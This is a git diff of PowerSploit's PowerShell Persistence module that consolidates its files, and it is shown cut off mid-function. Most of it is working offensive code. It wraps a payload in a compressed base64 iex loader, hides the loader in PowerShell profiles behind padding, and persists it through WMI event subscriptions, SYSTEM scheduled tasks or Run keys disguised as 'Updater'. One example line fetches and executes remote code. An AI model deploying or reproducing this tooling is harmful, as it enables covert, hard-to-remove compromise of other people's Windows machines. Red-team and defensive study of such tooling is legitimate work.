$RemovalScriptFilePath -ErrorAction Stop - $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop - if ($Path -eq '') - { - $RemovalScriptFile = "$($PWD)\$($Leaf)" - } - else - { - $RemovalScriptFile = "$($Path)\$($Leaf)" - } - - if ($PSBoundParameters['Path']) - { - Get-ChildItem $Path -ErrorAction Stop | Out-Null - $Script = [IO.File]::ReadAllText((Resolve-Path $Path)) - } - else - { - $Script = $ScriptBlock - } - -#endregion - -#region Initialize data - - $CompressedScript = '' - $UserTrigger = '' - $UserTriggerRemoval = '' - $ElevatedTrigger = "''" - $ElevatedTriggerRemoval = '' - $UserTrigger = "''" - $UserTriggerRemoval = '' - $CommandLine = '' - -#endregion - -#region Compress the original payload in preparation for the persistence script - - $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) - $CompressedStream = New-Object IO.MemoryStream - $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) - $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) - $DeflateStream.Dispose() - $CompressedScriptBytes = $CompressedStream.ToArray() - $CompressedStream.Dispose() - $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) - - # Generate the code that will decompress and execute the payload. - # This code is intentionally ugly to save space. - $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' - -#endregion - -#region Process persistence options - - # Begin processing elevated persistence options - switch ($ElevatedPersistenceOptions.Method) - { - 'PermanentWMI' - { - $ElevatedTriggerRemoval = { -Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject -Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject -Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject - } - - switch ($ElevatedPersistenceOptions.Trigger) - { - 'AtStartup' - { - $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" - } - - 'Daily' - { - $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" - } - - default - { - throw 'Invalid elevated persistence options provided!' - } - } - } - - 'ScheduledTask' - { - $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' - $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater" - - switch ($ElevatedPersistenceOptions.Trigger) - { - 'AtLogon' - { - $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR " - } - - 'Daily' - { - $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR " - } - - 'OnIdle' - { - $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR " - } - - default - { - throw 'Invalid elevated persistence options provided!' - } - } - - $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"' - } - - 'Registry' - { - $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " - $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" - $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" - $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'" - } - - default - { - throw 'Invalid elevated persistence options provided!' - } - } - - # Begin processing user-level persistence options - switch ($UserPersistenceOptions.Method) - { - 'ScheduledTask' - { - $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' - $UserTriggerRemoval = "schtasks /Delete /TN Updater" - - switch ($UserPersistenceOptions.Trigger) - { - 'Daily' - { - $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR " - } - - 'OnIdle' - { - $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " - } - - default - { - throw 'Invalid user-level persistence options provided!' - } - } - - $UserTrigger = '"' + $UserTrigger + $CommandLine + '"' - } - - 'Registry' - { - $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " - $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" - $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" - $UserTrigger = "'" + $UserTrigger + $CommandLine + "'" - } - - default - { - throw 'Invalid user-level persistence options provided!' - } - } - -#endregion - -#region Original script with its persistence logic will reside here - -# This is intentionally ugly in the interest of saving space on the victim machine. -$PersistantScript = { -function FUNCTIONNAME{ -Param([Switch]$Persist) -$ErrorActionPreference='SilentlyContinue' -$Script={ORIGINALSCRIPT} -if($Persist){ -if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) -{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} -else -{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} -' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo -iex $Payload|Out-Null -Write-Output $Payload} -else -{$Script.Invoke()} -} EXECUTEFUNCTION - -} - - $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) - $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) - $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) - $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) - - if ($DoNotPersistImmediately) - { - $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') - } - else - { - $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist") - } - -#endregion - -#region Generate final output - -# Generate the persistence removal script -$PersistenceRemoval = @" -# Execute the following to remove the elevated persistent payload -$ElevatedTriggerRemoval -# Execute the following to remove the user-level persistent payload -$UserTriggerRemoval -"@ - - - $PersistantScript | Out-File $PersistentScriptFile - Write-Verbose "Persistence script written to $PersistentScriptFile" - - $PersistenceRemoval | Out-File $RemovalScriptFile - Write-Verbose "Persistence removal script written to $RemovalScriptFile" - - if ($PassThru) - { - # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. - Write-Output ([ScriptBlock]::Create($PersistantScript)) - } - -#endregion -} \ No newline at end of file diff --git a/Persistence/New-ElevatedPersistenceOptions.ps1 b/Persistence/New-ElevatedPersistenceOptions.ps1 deleted file mode 100644 index 4e11deed..00000000 --- a/Persistence/New-ElevatedPersistenceOptions.ps1 +++ /dev/null @@ -1,170 +0,0 @@ -function New-ElevatedPersistenceOptions -{ -<# -.SYNOPSIS - - Configure elevated persistence options for the Add-Persistence function. - - PowerSploit Function: New-ElevatedPersistenceOptions - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. - -.PARAMETER PermanentWMI - - Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. - - Detection Difficulty: Difficult - Removal Difficulty: Difficult - User Detectable? No - -.PARAMETER ScheduledTask - - Persist via a scheduled task. - - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No - -.PARAMETER Registry - - Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes - -.PARAMETER AtLogon - - Starts the payload upon any user logon. - -.PARAMETER AtStartup - - Starts the payload within 240 and 325 seconds of computer startup. - -.PARAMETER OnIdle - - Starts the payload after one minute of idling. - -.PARAMETER Daily - - Starts the payload daily. - -.PARAMETER At - - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. - -.EXAMPLE - - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM' - -.EXAMPLE - - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup - -.EXAMPLE - - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] - [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] - [Switch] - $PermanentWMI, - - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] - [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] - [Switch] - $ScheduledTask, - - [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] - [Switch] - $Registry, - - [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [Switch] - $Daily, - - [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [DateTime] - $At, - - [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] - [Switch] - $OnIdle, - - [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] - [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] - [Switch] - $AtLogon, - - [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] - [Switch] - $AtStartup - ) - - $PersistenceOptionsTable = @{ - Method = '' - Trigger = '' - Time = '' - } - - switch ($PSCmdlet.ParameterSetName) - { - 'PermanentWMIAtStartup' - { - $PersistenceOptionsTable['Method'] = 'PermanentWMI' - $PersistenceOptionsTable['Trigger'] = 'AtStartup' - } - - 'PermanentWMIDaily' - { - $PersistenceOptionsTable['Method'] = 'PermanentWMI' - $PersistenceOptionsTable['Trigger'] = 'Daily' - $PersistenceOptionsTable['Time'] = $At - } - - 'ScheduledTaskAtLogon' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'AtLogon' - } - - 'ScheduledTaskOnIdle' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'OnIdle' - } - - 'ScheduledTaskDaily' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'Daily' - $PersistenceOptionsTable['Time'] = $At - } - - 'Registry' - { - $PersistenceOptionsTable['Method'] = 'Registry' - $PersistenceOptionsTable['Trigger'] = 'AtLogon' - } - } - - $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable - $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions' - - Write-Output $PersistenceOptions -} \ No newline at end of file diff --git a/Persistence/New-UserPersistenceOptions.ps1 b/Persistence/New-UserPersistenceOptions.ps1 deleted file mode 100644 index 9672c2e1..00000000 --- a/Persistence/New-UserPersistenceOptions.ps1 +++ /dev/null @@ -1,128 +0,0 @@ -function New-UserPersistenceOptions -{ -<# -.SYNOPSIS - - Configure user-level persistence options for the Add-Persistence function. - - PowerSploit Function: New-UserPersistenceOptions - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. - -.PARAMETER ScheduledTask - - Persist via a scheduled task. - - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No - -.PARAMETER Registry - - Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes - -.PARAMETER AtLogon - - Starts the payload upon any user logon. - -.PARAMETER OnIdle - - Starts the payload after one minute of idling. - -.PARAMETER Daily - - Starts the payload daily. - -.PARAMETER At - - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. - -.EXAMPLE - - C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon - -.EXAMPLE - - C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] - [Switch] - $ScheduledTask, - - [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] - [Switch] - $Registry, - - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [Switch] - $Daily, - - [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] - [DateTime] - $At, - - [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] - [Switch] - $OnIdle, - - [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] - [Switch] - $AtLogon - ) - - $PersistenceOptionsTable = @{ - Method = '' - Trigger = '' - Time = '' - } - - switch ($PSCmdlet.ParameterSetName) - { - 'ScheduledTaskAtLogon' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'AtLogon' - } - - 'ScheduledTaskOnIdle' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'OnIdle' - } - - 'ScheduledTaskDaily' - { - $PersistenceOptionsTable['Method'] = 'ScheduledTask' - $PersistenceOptionsTable['Trigger'] = 'Daily' - $PersistenceOptionsTable['Time'] = $At - } - - 'Registry' - { - $PersistenceOptionsTable['Method'] = 'Registry' - $PersistenceOptionsTable['Trigger'] = 'AtLogon' - } - } - - $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable - $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions' - - Write-Output $PersistenceOptions -} \ No newline at end of file diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index 21a78715..ffcd8755 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -1,10 +1,10 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -24,14 +24,7 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}) - # List of all files packaged with this module -FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1', - 'New-UserPersistenceOptions.ps1', 'Usage.md' +FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' -} \ No newline at end of file +} diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 4478ee1b..80aa5a28 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -1,3 +1,1107 @@ -. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) -. (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1) -. (Join-Path $PSScriptRoot Add-Persistence.ps1) \ No newline at end of file +function New-ElevatedPersistenceOption +{ +<# +.SYNOPSIS + +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. + +.PARAMETER PermanentWMI + +Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. + +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? No + +.PARAMETER ScheduledTask + +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No + +.PARAMETER Registry + +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes + +.PARAMETER AtLogon + +Starts the payload upon any user logon. + +.PARAMETER AtStartup + +Starts the payload within 240 and 325 seconds of computer startup. + +.PARAMETER OnIdle + +Starts the payload after one minute of idling. + +.PARAMETER Daily + +Starts the payload daily. + +.PARAMETER Hourly + +Starts the payload hourly. + +.PARAMETER At + +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +.EXAMPLE + +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' + +.EXAMPLE + +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup + +.EXAMPLE + +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle + +.LINK + +http://www.exploit-monday.com +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] + [Switch] + $PermanentWMI, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $ScheduledTask, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $Registry, + + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Switch] + $Daily, + + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Switch] + $Hourly, + + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [DateTime] + $At, + + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $OnIdle, + + [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $AtLogon, + + [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] + [Switch] + $AtStartup + ) + + $PersistenceOptionsTable = @{ + Method = '' + Trigger = '' + Time = '' + } + + switch ($PSCmdlet.ParameterSetName) + { + 'PermanentWMIAtStartup' + { + $PersistenceOptionsTable['Method'] = 'PermanentWMI' + $PersistenceOptionsTable['Trigger'] = 'AtStartup' + } + + 'PermanentWMIDaily' + { + $PersistenceOptionsTable['Method'] = 'PermanentWMI' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'ScheduledTaskAtLogon' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + + 'ScheduledTaskOnIdle' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'OnIdle' + } + + 'ScheduledTaskDaily' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'ScheduledTaskHourly' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Hourly' + } + + 'Registry' + { + $PersistenceOptionsTable['Method'] = 'Registry' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + } + + $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable + $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOption' + + Write-Output $PersistenceOptions +} + +function New-UserPersistenceOption +{ +<# +.SYNOPSIS + +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. + +.PARAMETER ScheduledTask + +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No + +.PARAMETER Registry + +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes + +.PARAMETER AtLogon + +Starts the payload upon any user logon. + +.PARAMETER OnIdle + +Starts the payload after one minute of idling. + +.PARAMETER Daily + +Starts the payload daily. + +.PARAMETER Hourly + +Starts the payload hourly. + +.PARAMETER At + +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +.EXAMPLE + +$UserOptions = New-UserPersistenceOption -Registry -AtLogon + +.EXAMPLE + +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle + +.LINK + +http://www.exploit-monday.com +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $ScheduledTask, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $Registry, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Switch] + $Daily, + + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Switch] + $Hourly, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [DateTime] + $At, + + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $OnIdle, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $AtLogon + ) + + $PersistenceOptionsTable = @{ + Method = '' + Trigger = '' + Time = '' + } + + switch ($PSCmdlet.ParameterSetName) + { + 'ScheduledTaskAtLogon' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + + 'ScheduledTaskOnIdle' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'OnIdle' + } + + 'ScheduledTaskDaily' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'ScheduledTaskHourly' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Hourly' + } + + 'Registry' + { + $PersistenceOptionsTable['Method'] = 'Registry' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + } + + $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable + $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOption' + + Write-Output $PersistenceOptions +} + +function Add-Persistence +{ +<# +.SYNOPSIS + +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None + +.DESCRIPTION + +Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER FilePath + +Specifies the path to your payload. + +.PARAMETER ElevatedPersistenceOption + +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. + +.PARAMETER UserPersistenceOption + +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. + +.PARAMETER PersistenceScriptName + +Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. + +.PARAMETER DoNotPersistImmediately + +Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. + +.PARAMETER PersistentScriptFilePath + +Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. + +.PARAMETER RemovalScriptFilePath + +Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. + +.PARAMETER PassThru + +Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. + +.INPUTS + +None + +Add-Persistence cannot receive any input from the pipeline. + +.OUTPUTS + +System.Management.Automation.ScriptBlock + +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. + +.NOTES + +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. + +.EXAMPLE + +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose + +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. + +.EXAMPLE + +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 + +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 + +.LINK + +http://www.exploit-monday.com +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + 